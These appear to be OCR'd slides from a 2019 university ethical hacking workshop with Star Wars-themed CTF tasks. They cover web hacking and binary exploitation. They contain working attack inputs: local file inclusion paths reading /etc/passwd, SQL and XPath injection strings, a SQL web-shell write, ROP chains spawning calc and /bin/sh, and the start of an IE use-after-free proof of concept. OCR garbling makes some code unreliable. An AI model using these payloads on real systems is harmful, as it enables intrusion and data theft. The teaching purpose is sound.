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From Myself

« Associate Professor at UiO

« Teaching Ethical Hacking since 2012
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e Leader of the UiO Hacking Arena

o Leader of the UIO-CTF Capture the flag hacking team

 Resarch fields:
— Ethical hacking
— Software vulnerability exploitation
— Automation of hacking
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Schedule (61-7t" May 2019)

Monday 17.00 - 19.00: Ethical hacking introduction,
Information gathering,
Web hacking tasks
Monday 17.00 — Tuesday 11.00:
PhD hacking competition
Tuesday 11-12.30 Solution of the tasks,
Result of the competition,
Binary exploitations,

Introduction to the UiO-Hacking-
Arena
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Finse 2019 Hacking competition for
PhD students

Hi Young Padawan!
The Empire wants to strike back!

To become a real Jedi, Yoda master has sent you the
following Jedi exam tasks:

1. You have to pretend to be Darth Vader to mislead the
guards of the Death Star! First of all, buy a Darth Vader
costume!

You can buy it e.g. on a primitive planet (called Earth). Buy
it online and find the hidden message for you!

http://158.39.48.61:801
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Finse 2019 Hacking competition for
PhD students

2. After you managed to get inside the Death Star you can
access the local dashboard of the main computer:
http://158.39.48.61:802 Your task is to become the admin
user. We have some information that can help you:

The designer of the Death Star "accidently" wasn't
enough careful when he coded the session management.
We also know some existing (non admin) credentials: Obi
Van clearly feels that his old padawan, Anakin
(username:DarthVader) still uses the following password:
Padme<3<3 . Thanks to R2-D2 who sniffed the Death
Star's traffic we also know the password of a stormtrooper:
trooper506/C6#Bda?79
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Finse 2019 Hacking competition for
PhD students

3. The Death Star's document repository
(http://158.39.48.61:803) contains some operational
document of the Star. The complete plan of the Star was
there originally, but after a security check they decided to
remove it from the repository.

Did they really remove everything? What if they just
commented out some of documents in the server side

script. Try it!
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Finse 2019 Hacking competition for
PhD students

4. The Emperor's secret is really important for us.
Unfortunately all of the databases are encrypted, but

3-CPO managed to find an old database. This database
uses xml queries.

Why don't you try an Xpath injection?
(http://193.225.218.118)

Good luck young Padawan! May the force be with you!

You can register and find the detailed task descriptions
here: http://158.39.48.61

Finse 2019 Ethical hacking



Differences between ethical and non-

ethical hacking

Legal (contract)

Promote the security by
showing the
vulnerabillities

Find all vulnerabilities
Without causing harm

Document all activities

Final presentation and
report

lllegal

Steal information, modify data,
make service unavailable for
own purpose

Find the easiest way to reach
the goal (weakest link)

Do not care if they destroy the
system (but not too early)

Without documentation
Without report, delete all clues
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Ethical hacking sub-fields

 Information gathering

* Network reconnaissance

« Web hacking

 Internal network hacking

» Wireless hacking/ Mobile hacking

o Software vulnerability exploitation (pwn, exploits)
e Social Engineering

« Hardware hacking

* Al based hacking

 Combination of the previous cases
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Main steps of hacking with the available

Information

Attacking the target

N\

Information gathering /

Technical information

Attack
surface

Vulnerabi

lities
&(— Exploitation

Opening

channels

Obtaining private

/ information \
Using the target for attacking

/ other computers
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Main methods to carry out information
gathering

 Google and all search engines are best friends ©
— Simple search engine queries
— Specific search engine queries (google hacking, see later)

— Cached data (data that are not online right now, but can be
restored)

 The social media is another best friend ©

 Companies and persons spread lots of information from
themselves

« We can create personal and company profiles
« We can identify key persons and other key information
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Information gathering with Google
hacking

* Using specific Google queries we can use smairt filtering
or get «hidden» data

 Filter for site titles e.g. intitle:"index of”

« Filter to file type with extension: type:doc, type:conf, etc
e Expressions can be combined

« Google Hacking Database (GHDB) helps

Go gle site:uio.no filetype:sql !, Q

All Images News Shopping Maps More Settings Tools

1 result (0.14 seconds)

Create_Insert_1014.sql - UiO

https:/iwww.uio.no/studier/emner/matnat/.../Create_Insert_1014.sql v Translate this page
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Information gathering with Google
hacking

GO gle site:uio.no intitle:"index of" .!, &

\ sy -
AT AmEges nvg.ntnu.no Mailing Lists
About 4,640 results (0.. For NVGs hjemmesider ga til / for NVG's homepages, please go to:

http://www.nve.ntnu.no/

Index of /ada - U
https:/ffolk.uio.no/ada Welcome!
Name - Last modified -

06-10 19:19, -. [DIR], If Below 1s a listing of all the public mailing lists on nvg ntnu.no. Click on a list name to get more information about the list, or to subscribe, unsubscribe, and

change the preferences on your subscription. To visit the general information page for an unadvertised list, open a URL similar to this one, but with a /" and
the list name appended.

Index of 'Iom - Ui List administrators, you can visit the list admin overview page to find the management interface for your list.
https://folk.uio.no/om/
Index of fom. [ICO], Na If vou are having trouble using the lists, please contact mailman@nve ntnu.no.

Apache Server at folk.L

List Description
Index of /torr - Uj Astronomi Mailinglist for PPaint users
folk_uio.noftarr/ ¥ Mailman [no description available]
Index of /torr. [ICO], Na Nordio Nordia Esperanto-junularo
Apache Server at folk.L Oslo Liste for medlemmer 1 Oslo-omraadet

Proeveliste-mm En preve

. SAm-users [no description available]
Index of ,‘ellza blr Sf Mailinglista for SF-fans ved NTINU og 1 Trondheim
https://folk.uio.no/eliz: . . ) i
Index of /elizabln. [ICO TAF-lista Trondheim Astronomiske Forening
; TAF-test Trondheim astronomiske forening — test

Apache Server at folk.L ) o A

TeamOS2 Team OS8/2 Mailing List

Trondheim Liste for medlemmer 1 Trondheim

Tut Mailingliste for Tut

Tutsitat Administrasjon av Tut-sitater
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Web hacking

Website hacking is very popular. There are many ways to
compromize a website. We are going to touch a little bit on
the following topics (we have limited time):

e Hidden information

e Session management

e Unsecure file inclusions

e Unsecure database handling

All the hacking tasks are connected to these topics.
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Hypertext Transfer Protocol (HTTP)

HTTP is the protocol for web
communication. Currently
version 1.0, 1.1 and 2.0 are
In use (2.0 exists since
2015, almost all browsers
support it by now). HTTP is
used in a client — server
model. The client sends a
reqguest and receives answer
from the server.
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Hypertext Transfer Protocol (HTTP)

Each request and response consist of a header and a
body. The header contains all the necessary and additional
iInformation for the HT TP protocol.

Request:

d _ Client Server
« The protocol version Request header
+ The requested file e

« The webmethod (see later) W

« The host name B

Response: -
+ The web answer (in response) ffffﬁew

» The date e”// Response body

« The content type
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Hypertext Transfer Protocol - telnet

:~# telnet www.uio.no 80
Trying 129.240.171.52...
Connected to www.uio.no,
Escape character is

IA]II7

request head

ay 2017 07:53:37 GMT
: text/html;charset=utf-8
: 71, rw, slave, vortex04-node02.uio.no:14001
Cache-Control: max-age=300
Content-Language: no
Vary: Cookie
X-Cacheable: YES
X-Varnish: 167223 2103867
188

: 1.1 varnish-v4
X-Cache: HIT
Transfer-Encoding: chunked
Connection: keep-alive

<!DOCTYPE html>
<html lang="no">

~ web method
file name (index is substituted)
protocol version

hostname
web answer

banner info / server
type

response head

response body

<meta http-equiv="X-UA-Compatible" content="IE=edge" />

Finse 2019 Ethical hacking
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Accessing a webpage

Client side

Server side

HTTP reque

Inrevrmed

HTTP res

Operating system

Browser

Html processing
Javascript execution
Flash execution

Edgi
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ponse
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Metwork
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08 Server

Operating system

Web server app FTP Other

services

Server side
Scripting engine
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Client side — How the browser
processes the html?

When the browser downloads the html file it is processed.
The html can contain additional files:

* Pictures (usually: png, jpg, gif)
« Stylesheets (xss)

» Javascript codes

» Flash objects (swf)

All additional content have an access address (local or
global). During the processing all the additional content will
be retrieved from the server with a separate web request.
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How to start compromising a website?

* First use it in a normal way (find the linked subsites,
contents, input fields)

* Decide whether it is a simple static site or it has complex
dynamic content (server side scripts, database behind)

* Try to find not intended content (comments Iin source
code

* Try to find hidden content without link (factory default
folders, user folders, configuration files)

* Try to obtain as much info as it is possible (information
disclosures)

* Force the site to error (invalid inputs) and see the result
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Burp suite — Download the free
version for the challenges

Burp is a graphical tool for testing websites. It has several
modules for manipulating the web traffic.

Burp Suite Free Edition v1.7.17 - Temporary Project e ® O

Burp Intruder Repeater Window Help

j.Target T Proxy T Spider T Scanner T Intruder T Repeater ] Sequencer TDecoder T Comparer TExtender ] Project options . User options T Alerts ]

Site map | Scope ]

‘ Filter: Hiding not found items; hiding CSS, image and general binary content; hiding %o« respenses; hiding empty folders |[_?‘J

| [Host [ Method | URL |params | Status 4| Length | MIME tyg

« Spider: Automatic crawl of web applications
* Intruder: Automated attack on web applications

» Sequencer: Quality analysis of the randomness in a sample of data
items

» Decoder: Transform encoded data
o Comparer: Perform comparison of packets
e Scanner: Automatic security test (not free)
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Burp suite

Under HTTP history tab all the traffic that has passed
through the browser are shown. All outgoing traffic can be
iIntercepted as well and modified before sending. DEMO ...

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extenc

J T HTTP history T WebSockets history T Options |

|_§‘] ™\ Request to https:fwww.uio.no:443 [129.240.171.52]

[ Forward J | Crop ] | Intercept is on | | Action ]

J Raw T Params T Headers T Hex |

GET /vrtx/decorating/resources/dist/src/images/social-list/svg/facebook.svg HTTP/1.1
Host: www.ulo.no

User-Agent: Mozl| pame [ Walue

ACCept : :+:J.f:i:

Accept-Language: GET ,.f\..rr'tx,.fdlecorating,fresourcesfdistjsrc,.fimages,fsocial-|i5tj5vg,.l‘|‘acebook.svg HTTRj1.1
Referer: https: /| Host Www.uI0.na
Cookie: _ utma=1| User-Agent |M02i||af5.0 (X11; Linux x86_64: n.52.0) Gecko/20100101 Firefox/52.0
_gaTolU10=GAL. 3.| Accept *E
Connection: clos Accept-Language en-Us,en;q=0.5
Referer https:/fwww.uio.nojvrtx/decorating/resources/dist/src/css/style.css
Cookie _ utma=161080505.694898019.1493803222,1494230935,1496910535.6; _gaT...
Connection close
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Finding hidden information -
examples

 Examplel: 158.39.48.35:801
 Example 2: 158.39.48.35:805

 Example3: 193.225.218.118/cybersmart/info2

Finse 2019 Ethical hacking
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Hacking Challenge 1.

1. You have to pretend.to..... .o
be Darth Vader to mislead = sswea
the guards of the Death

Star! First of all, buy a

Darth Vader costume! You
can buy it e.g. ON A& parth vaders
primitive  planet (called 2::3:10:::::5
Earth). Buy it online and gack

find the hidden message for

youl!

http://158.39.48.61:801
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Session related attacks — What Is the

session variable?

A user's session with a web
application begins when the
user  first launch the
application in a web browser.
Users are assigned a unigque
session ID that identifies them
to your application. The
session should be ended
when the browser window is
closed, or when the user has
not requested a page Iin a
“very long” time.

HTTP/1.1 302 Found
Cache

Cache-Control: private

Date: Sun, 13 Oct 2013 08:19:22 GMT
Cookies [ Login

| Set-Cookie: ASP.MET_SessionId =fuy40phglweimfprlvwfwevmi; path=/; HttpOnIyl

Entity
ContentLength: 167
Content-Type: text/himl; charset=utf-a
Miscellaneous
Server: Microsoft-115/7.5
¥-AspMet-Version: 4.0,30319
¥-Powered-By: ASP.MNET
Transport
Location: http: flocalhost/SessionExample [ContactDetail aspx
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Session related attacks

The session can be compromised in different ways:
Predictable session token

The attacker finds out what is the next session id and sets his
own session according to this.

Session sniffing
The attacker uses a sniffer to capture a valid session id
Client-side attacks (e.g. XSS)

The attacker redirects the client browser to his own website and
steals the cookie (Javascript: document.cookie) containing the
session id

Man-in-the-middle attack

The attacker intercepts the communication between two
computers

Man-in-the-browser attack
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Session hijacking attack examples

 Example 1: http://193.225.218.118/0OsloMet/session/taskl
 Example2: http://193.225.218.118/0OsloMet/session/task?2

Credentials: Michael/Sicily, Sonny/woman, Fredo/Casino, admin/????

< C @© Notsecure | 158.39.48.61:802

Welcome to the dashboard of the Death Star!

Please log in with your username and password!

Please note that this a computer, mind tricks don‘t work here!
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Hacking Challenge 2:

2. After you managed to get inside the Death Star you can
access the local dashboard of the main computer:
http://158.39.48.61:802 .

Your task is to become the admin user. We have some
Information that can help you:

» The designer of the Death Star "accidently" wasn't enough careful
when he coded the session management.

 We also know some existing (non admin) credentials: Obi Van
clearly feels that his old padawan, Anakin (username:DarthVader)
still uses the following password: Padme<3<3 .

 Thanks to R2-D2 who sniffed the Death Star's traffic we also know
the password of a stormtrooper: trooper506/C6#Bda?79
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File inclusion vulnerabilities

The attacker can access a file through the website that was

not intended by the site developer.

« If any file can be included from a remote host then it is
remote file inclusion. The attacker places an attacking
script on it's own website. The vulnerable web
application executes the remote script if the webserver
settings allow It.

» |f the attacker can access files from the local computer
outside the webroot then it is a local file inclusion. With
different tricks the attacker can execute its own server
side script by the website here as well.

Finse 2019 Ethical hacking
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Local File Inclusion

Local file inclusion (LFI) is a vulnerability when the attacker
can include a local file of the webserver using the
webpage. If the server side script uses an include file type
of method and the input for the method is not validated
then the attacker can provide a filename that points to a
local file:

|T_|+ Mvarfwww/1Ifl.php - root@193.225.218.118 - Editor - WinSCP

@ IE 9 E& @abc Er
it (isset( $_GET['COLOR'] ) ){ y .
. include( $_GET['COLOR']); - C | ® 193.225.218.118/lfi.php?COLOR=../. /etc/passwd
?
e root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/b
news:x:9:9:news:/var/spool/news:/bin/sh uuep:x:10:10:uucp:/var/spool/uuep:/bin/sh proxy

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534
messagebus:x:103:107:/var/run/dbus:/bin/false lightdm:x:104:108:Light Display Managet
daemon...:/home/usbmux:/bin/false kernoops:x:108:65334:Kernel Oops Tracking Daemon
hplip:x:112:7:HPLIP system user,.,:/var/run'hplip:/bin/false saned:x:113:123::/home/saned
ftp:x:117:65534::/srv/ftp:/bin/false hallgato:x:1001:1001::/home/hallgato:/bin/bash hallgat
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Example exploitation of LFI
vulnerabilities 2.

The attacker can also try to find a local file outside the webroot that
writes back the server side script he provided by the request. For
example /proc/self/environ displays the web-browser type. If it's a script
it Is executed through the browser. Possible useful files for the
exploitation:

/proc/self/environ

/proc/self/lenviron%00

/proc/self/

[proc/self/fd/12

/proc/self/fd/14%00 DEMO ...
/proc/self/fd/12

/proc/self/fd/14%00

/proc/<apache_id>/fd/12

/proc/<apache_id>/fd/14 (apache id is from /proc/self/status)
/proc/<apache_id>/fd/12%00

/proc/<apache_id>/fd/14%00
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Example exploitation of LFI
vulnerabillities

A php script source cannot be obtained through a browser, because the
script is executed on the server side. But using encoding and php://ffilter
as input the server side scripts can be obtained too. Since Php 5.0.0
the php:/ffilter/convert.base64-encode/resource function is enabled. It
encodes the php file with base64 and the php script source reveals.

&« C' | ® 193.225.218.118/Ifi.php? COLOR=php://filter/convert.base64-encode/resource=Ifi.php

PD9waHAKICAgaWYgKGlze2VOKCAKXO0dFVFsnQOIMT 1InXSApICITCiAgICAgIGluY2x1 ZGUoICRROVUWydDTOxPUIddK TsKICA gfQo/Pg=—=

Decode from Base64 format
Simply use the form below

PD9waHAKICAgaWY gKGIzc2VOKCAKXOdFVFsnQO9MT1InXSApICI7CIAgICAGIGIuY2x1ZGUoICR
fROVUWydDTOxPUiddKTsKICAgfQo/Pg== D E M O .-

Other options:
<’?1'P (higset( $_GET['COLOR1) } Ph P //in pUt

include( $_GET['COLORY));

) Expect://ls
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Hacking Challenge 3:

3. The Death Star's document repository contains some
operational (http://158.39.48.61:803) document of the Star.

The complete plan of the Star was there originally, but after
a security check they decided to remove it from the

re p OS Ito ry e &« C (@ Notsecure | 158.39.48.61:803
Death Star Reposi
4

Did they really
remove everything?
What if they just
commented out
some of documents
In the server side
script. Try it!
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Structured Query Language (SQL)

Dynamic websites can use large amount of data. If a website stores
e.g. the registered users then it is necessary to be able to save and
access the data quickly. In order to have effective data management
data are stored in different databases where they are organized and
structured. One of the most popular databases is the relational
database. The relational databases have tables where each column
describes a characteristics and each row is a new data entry. The
tables are connected to each other through the columns. Example:
Products Database

Category I CategoryLink
*CategoxrvID *CategoryID
" Categoryllame " ProductID o e
arketin
“CategoryDesc . MarketingType
°ParentID Product *MarketingID R "
P HarketingTypelD
*ProductID L ProductID * MarketingT
S — Y % - >_| arketingType
Company CompanyLink * ProductName MarketingTypelID
e T *MarketingTitle
Py T ’ T ProductDesc
,EQEE§E¥=2___' \_CDNP?HYZD - *Status *MarketingDesc
Companyiame ProductID P e s *MarketingData
- *Createlser
Tamget I TargetLink °ModifyDate
‘IargetlD *TargetID | "ModifyUser Feature
*TargetName " ProductID P* °Price A —
FeatureID
“TargetDesc 5 .
°ParentID FeatureTitle

“FeatureDesc
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SQL practice: Check your sgl command

The following script prints out the generated sgl query (it is only for
demonstration, that never happens with real websites)

€& ) O 193225218.118/5q12.php

SELECT * FROMmd in' elszo='12345'
Name: admin

Password: 12345

‘ Submit

& ) D 193.225218.118/sql2.php
SELECT * FROM Tablal Where email='admin' AND J elszo='1234®

Name: admin

SQL syntax error
Password: 12345'

Submit ‘
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Simple sgl injection exploitation

The easiest case of sql injection is when we have a direct influence on
an action. Using the previous example we can modify the sql query to be
true and allow the login. With the * or ‘1'='1 (note that the closing
guotation mark is deliberately missing, it will be placed by the server side
script before the execution) the sgl engine will evaluate the whole query
as true because 1 is equal to 1 (1 now is a string not a number)

€ ) () 193.225218118/5012.php

SELECT * FROM Tablal Where email='admin' AND J elszo='|12345' or']'= l|‘
Successful login

Name: admin
Password: [12345' or '1'="1

Submit

Normally attackers have to face much more complex exploitation.
Usually the attacker has only indirect influence on the website action.
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Blind boolean based sqgli exploitation

Depending on the input the attacker can see two different answers from
the server. Example: .

(i) 193.225.218.118/sql3.php?email=laszlo

That is the first version of the webpage
This 1s the main text of the webpage

If we provide a non-existing user e.g. laszlo, the first version of the page
appears. For valid users such as admin (The attacker doesn'’t
necessarily has valid user for the site) the second version appears.

Since there’s no input validation for the email parameter, the attacker
can produce both answers:

€ ) (O 193.225.218.118/sq13.php?email=laszlo’ or '1'="1 € ) ® 193.225218118/5q/3.php?email=laszlo’ or '1'="2
True False

That is the second version of the webpage That is the first version of the webpage

This is the main text of the webpage This is the main text of the webpage
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Blind boolean based sqgli exploitation

In order to execute such a query we need to arrange the current query to
be accepted by the server side script (syntatically should be correct):

http://193.225.218.118/sql3.php?email=laszlo’ or here goes the query
or ‘1'="2

Since the vulnerable parameter was escaped with a quotation mark, the
guery should end with a missing quotation mark (the server side script
will place it, if there’s no missing quotation mark, the query will be
syntatically wrong).

The second part of the query should be boolean too, e.g.:

http://193.225.218.118/sql3.php?email=laszio’ or
ASCII(Substr((SELECT @@VERSION),1,1))<64 or ‘1'='2

The previous query checks if the ASCII code of the first character of the
response of SELECT @@VERSION is less than 64.
Task: Find the first character of the db version!
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Writing local files with sgl injection

Instead of asking for boolean result the attacker can use the select into
outfile syntax to write a local file to the server. Since this is a new query
the attacker has to chain it to the vulnerable first query (union select of
stacked query exploitation). This is only possible if the following conditions
are fulfilled:

Union select or stacked queries are enabled

With union select the attacker has to know or guess the row number
and the types of the chained query (see example)

A writable folder is needed in the webroot that later is accessible by the
attacker

The attacker has to know or guess the webroot folder in the server
computer

Example:

http://193.225.218.118/sql3.php?email=laszlo’ union select ‘Imagine
here’s the attacking script’ ‘0’,’0’,’0" into outfile ‘/var/www/temp/lennon.php
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Xpath injection

Instead of storing datasets in databases, data can be stored in xml format.

Example: <?xml version="1.0" encoding="UTF-8"?7>
<users>

<user:s
<name>john</name:
<fullname=John Lennon</fullname:>
<email>johnlennon@ifi.uio.no</email>
<password>imagine</password:>

</user:

<user:
<name>pau l</name>
<fullname>Paul McCartney</fullname>
<emai I>paulmccartney@ifi.uio.no</email>
<passwords>yesterdays</password:>

</users>

<users>
<name=admin</name:>
<fullname>=Adminisitrator</ful lname>
<email </emails
<password>-Beatles</password:>

</user:

</users:

Example task:
http://193.225.218.118/xpath/index2.php
Get the admin user’s email!
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Xpath query with php
Xpath can be used to make a query, e.g. finding the full name of the user

whose username is john and the password is imagine:

$xml->xpath("/users/user[name=*‘john' and password="‘imagine']/fullname")

Finding the first user in the database:

$xml->xpath("/users/user[position()=1]/fullname")

Finding the penultimate user:

$xml->xpath("/users/user[last()-1]/fullname")

Other xpath functions can be used as well:

last(), count(node-set), string(), contains(), etc.

The full xpath reference is here:
https://docs.oracle.com/cd/E35413 01/doc.722/e35419/dev_xpath functions.htm
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Xpath injection

Xpath injection is possible when there’s no input validation or the
validation is inappropriate in Tguery, e.g.

$results = ($xml->xpath("/users/user[name=""{. $_POST['username'].)""' and password="'(. ($_POST['passwd']1))"']1/fullname"));
$fullname=%results[0];

}f (count($results)=0)

print("Hello ".$fullname."!");

$results?2 = ($xml->xpath("/users/user[name="".%_POST['username'].""']/email"));
Sem=3results2[0];

print("<br>Your email: ".%em);

}

The exploitation of the vulnerability looks like an sql injection exploitation:

& C' | ® 193.225.218.118/xpath/index.php

Name: ﬁohn

Password: |a' or'a'="a

Submit

Tutorial for xpath injection: http://securityidiots.com/Web-Pentest/XPATH-Injection/xpath-
injection-part-1.html

https://media.blackhat.com/bh-eu-12/Siddharth/bh-eu-12-Siddharth-Xpath-WP.pdf
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Hacking Challenge 4.

4. The Emperor's secret is really important for us.
Unfortunately all of the databases are encrypted, but 3-
CPO managed to find an old database. This database uses
xml queries. Why don't you try an Xpath injection?

http://193.225.218.118/
Welcome to the Death Star calendar!

Choose a person and check the program!

The next program for Boba Fett:
Capture Han Solo

Name: Boba Fett
Submit
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Second part: Binary Exploitation
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Binary (executable) files

Binaries are files that can be executed by the OS. Binaries contain
machine code instructions that the CPU understands. The binary file
format depends on the CPU architecture and the OS.

Example CPU architectures:

Intel X86: mov eax, 0x10; int 0x33 Intel X86-64: mov rax, [rbp-0x8]
ARMv1: ADD RO, R1, R2 ARMv8: ADD W0, W1, W2

Others: MIPS, AT&T, IBM, MOTOROLA, SPARC
Instruction length: RISC/CISC

The binary file format is the format that describes how the OS stores the
binary code.

Microsoft: Portable Executable (PE32, PE32+)
Linux: ELF
Mac: MACH-O
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Virtual Address Space

When an executable is launched the OS generates a Virtual Address
Space for the process or processes. Each process has its own Virtual
Address Space where the process can use arbitrary (practically almost
Infinite) memory size. The size is influenced by the addressable
memory size (32bit 232=4GB, 64bit 2°4=64TB). The virtual memory
differs from the physical memory, so it is beneficial because:

 the process doesn’t need to address the real physical memory
(RAM), that would be a nightmare from programming point of view,

» the processes are separated from each-other, so one process can’t
access directly another process-memory (indirectly yes: e.qg.
createRemoteThread, debugging another process, etc.),

« the OS handles the memory requirements dynamically, it's not
necessary to know the memory requirements in advance. Interactive
programs can calculate required memory on the fly.
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Virtual Address Space

In order to use the real physical memory the OS provides a runtime
memory translation between the virtual and the physical memory.

Process 2 virtual address space
Process 1 virtual address space 0x00000000

0x00000000
OxfFffff
Oxffffff anslation A nslation
Physical memory
(RAM)
address tr N 0x00000000 ranslation
0x00000000
OxffffFfff
Oxffffffff Process n virtual address space

Process k virtual address space .
Process 1 virtual address space

This is also useful to optimize the physical memory usage (the same
memory pages have only one copy in the physical memory).
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Virtual Address Space

The Virtual Address Space Is divided into kernel and user space. The
user space consist of segments (code and data).

Kernel space

Code

Data

User space s
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Stack buffer overflow

Stack buffer overflow occurs when a local variable on the stack is
overwritten. This is possible e.g. when the size of the local variable is not
considered therefore the return pointer of the stack frame can be modified
by a user controlled data.

e e —

#include <string.h>
______ void funcl(char* arl)
{
char ar2[10];
strcpy(ar2,arl);
}
int main(int argc, char*
argv(])
{
e funcl(argv[l]);

}

Exception (xc0000005:
Segment violation
Address: 0x61616161
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Stack overflow exploit

The exploit should overrun the local variable and arrive to the return
pointer. The size of this (padding) depends on the size of the local
variable and the stack layout, etc. It can be determined by debugging or
using unique string such as “aaaabbbbccccddddeeee....” and then
obtain the address from the error message. The new return address
can point to the beginning of the payload.

padding gg‘é"r;iurn‘ payload

This solution is not so stable (it relies on the payload global address).
Instead the following solutions is used:

jmp esp
address

padding nop sled payload
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Return Oriented Programming

 Return Oriented Programming (ROP) is a software vulnerability
exploitation method that is able to bypass the non-executable
memory protections. It was Invented in 2007 as the
generalization and extension of the Return into libc technique.

« Contrary to stack overflow, ROP uses already existing code parts
In the virtual address space to execute the payload (code reuse).

» Although ROP is based on the stack usage of the program it can
be used in case of heap related vulnerabilities as well by
redirecting the stack (stack pivot) to an attacker controlled part of
the virtual memory.

* ROP consists of gadgets that are small code blocks with a ret
type of instruction as an ending e.g. inc eax; retn. Gadgets are
chained by the ret type of instruction.
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Return Oriented Programming

« The payload is divided into code-parts, each code-part is
executed by a gadget

« A gadget is a small code-block with one or more simply
Instructions and a ret type of instruction at the end

 We need to find gadgets in the Virtual Address Space, therefore
we’re going to use mona.py with Immunity Debugger (can be
downloaded from github)

 To find a specific gadget (e.g. inc eax) the find mona command
IS used: !mona find —type instr —s ,inc eax#retn” —x X

 Our first ROP will be written for a simple stack overflow with
strcpy, the code contains the addition of two numbers. Using
mona the following gadgets are sought for:
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Return Oriented Programming

The easiest ROP payload, calculating 1+1: ©

#! /usr/bin/perl
my Spadding = "A"x14;

my Srop = "\ x5b\x54\x592\x7d". # Xor eax, eax; retn
"y xT5\x504\x92\x7d". # xor edx, edx; retn
"\ x60\x16\xcB\xT7T". # inc eax; retn
"M\xd2\xT72\xef\x7d4d". # inc edx; retn
"\x33\x80\x24\xec"; # add eax, edx; retn

print S$padding.Srop;
What is the value of eax after the ROP has been executed?

#!/usr/bin/perl
my Spadding = "A"x14;

my Srop = "\x5bA\X54N\X92\XTA". # Xor eax, eax; retn
"xT5\x50\x02\x7d". # xor edx, edx; retn
"\x60\x16\xcB8\x77". # inc eax; retn
"\x60\x16\xcB8\x77". # inc eax; retn
"\x60\x16\xcB8\x77". # inc eax; retn
"yxe0\xle\xc8\x77". # inc eax; retn
"\x60\x16\xcB\xT77". # inc eax; retn
"M\ xd2\xT72\xef\x7d". # inc edx; retn
"yx42\x72\xef\x7d". # inc edx; retn
"yx42\x72\xef\x7d". # inc edx; retn
"\x33h\xB0\x24\xoc"; # add eax, edx; retn

print Spadding.S$rop;
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Return Oriented Programming

How to add 0x12121212 to
0x11111111? Repeating the inc eax
in 0x12121212 times is not a good
idea © A simple pop gadget can
take the required value directly from
the stack, so the ROP program will
contain some data among the

gadget addresses.

#!/usr/bin/perl

Stack

Return address
Data

Return address

Return address

Data

Return address

ROP modell

my Spadding = "A"x14;

my Srop =

"yxlf\x18\xfa\xef".
"yxllhx1lhx11h\x11".
"\ x5f\xee\xf5\x6£f".
"Myxl2\xl12\xl12\xl12".
"\x33\x80\x24\xec";

print $padding.Srop;

instr .... ret

instr ....

instr .... ret

e M e S e

pop eax;
value of
pop edx;
value of
add eax,

ret

retn
eax
retn
edx
edx; retn
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Return Oriented Programming

Gadgets with side effects: If we cannot find a fitting gadget, a longer one can
be used considering the side effects. Example:

Adding ebx to eax if there is no add eax, ebx; retn code:

"\x33\x80\x24\x6c". # add eax, edx; pop ebx; retn
"\x99\x2b\xf3\x7d"; # dummy

"\x33\x80\x24\xéc". # add eax, edx; pop ebx; pop ecx; retn
"\x99\x2b\xf3\x7d". # dummy

"\x99\x2b\xf3\x7d"; # dummy

Gadgets with ret that removes the stack frame:

"yx33\x80\x24\x6c". # add eax, edx; retn 0xc

"\x99\x2b\xf3\x7d". ¢ dummy

"\x99\x2b\xf3\x7d". # dummy

"\x99\x2b\xf3\x7d"; # dummy

The following gadgets should be avoided: Gadgets that

e contain push instruction,

e contain conditional (je, jz, etc.) or unconditional jump instructions (jmp),

« contain unreliable characters e.g.: 0x0, Oxa, 0Oxd, etc...
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Return Oriented Programming

Opening the calculator in Windows example:

#!/usr/bin/perl

my Spadding = "A"x14;

my Srop = "\x19\xde\xe%\x7d". #pop edi; retn
" xT70\xc0\x93\xE6E". #place of calc
"\ x99\x2b\xf3\x7d". #pop ecx; retn
"myxe3\xeli\xechxe3". #calc
"y x28\x3f\xeb\x7d". #mov [edi],ecx; retn
"\x38\xb3\xdc\x7d4". #pop eax; retn
"yxc9hxZeh\xdf\x7d". #address of WinExec
"\ x25\x07\xee\x7d". #call eax; retn
"MyxT0A\xe0\x923\x6T\x01"; #address of calc + 01

print Spadding.Srop;

Linux shell example:

import struct
ex = 'A*132
ex += struct.pack("<L", 0x08057280) #xor eax, eax
for x in range(0, 11):

ex += struct.pack("<L", 0x0807c4ca) #inc eax
ex += struct.pack("<L", 0x0806f062) #pop ecx, pop ebx
ex += struct.pack("<L", Oxffffd270) #value of ecx Oxffffd240
ex += struct.pack("<L", Oxffffd24f) #value of ebx Oxffffd21f
ex += struct.pack("'<L", 0x0806f970) #int 0x80
ex +="'\x90'*99
ex += "\x2\x62\x69\x6e\x2\x2f\x73\x68\x00" #/bin//sh
print ex
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The heap

The heap is a storage place where the processes allocate data blocks
dynamically in runtime. There are several types of heap
Implementation. Each OS provides one or more own heap
Implementations (e.g. Windows7: Low Fragmentation Heap), but
programs can create their own heap implementations (e.g. Chrome)
that are independent of the default OS solution. Because of the
different solutions many custom heap allocators are available to tune
heap performance for different usage patterns. The aim for the heap
Implementations are:

» allocation and free should be fast,
» allocation should be the least wasteful,
» allocation and free should be secure.
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Windows basic heap management

The heap consists of chunks. Free chunks with the same size (rounded
to 8 bytes) are organized in double linked lists. When a heap memory is
being freed it goes to a free list according to its size. When the code
requests a dynamic buffer first the freelists are checked according to the
requested size. If there is no free chunk for the size a chunk is created.

Ox166
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Ox174

0x178 =

0x17e

0x180
Ox184

Ox188
0x18c

Heap Base

Cur Size

Prev Size

i

NeonDedicatedListLength

CK || Fig

Seg

LargeBlocksindex

FLink

PseudoTagEntries

BLink

Cur Size

Prev Size

cK || Fig

Rs [| Seg

FlLink

Cur Size

Prev Size

CK ||Flg| § Rs || Seg

~J

FreeList{0].FLink

BLink

FlLink

~J

BLink —

FreeList]0].Blink

FreeList[1).FLink

FresList[1).BLink

FreeList[2).FLink

FreeList[2).BLink
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Object Oriented Programming (OOP)
Vtable

A basic principle of OOP is the polymorphism. Methods can be
redefined for derived classes. Since the real type of an object is only
decided in runtime, each object needs to have a virtual method table
(vtable) that contains the object specific method addresses.

Object vtable

VPTR —amp vtable[0] —_— functionl()

{
//Do Something

vtable[1] )
vtable[2] \
vtable[3]

function2()

{

//Do Something

vtable[n] }

In case of exploiting Use after free (dangling pointer) or Double free
vulnerabilities the attacker can overwrite the vtable with a value
pointing to an attacker controlled memory region (see example later).
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Use after free exploitation example

Try the following html file with IES.

<html>
<head><title>M814-035 Internet Explorer CInput Use-after-free POC</title></head>
<body>

<form id="testfm">

<input type="button" name="test2" value="a2">

<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
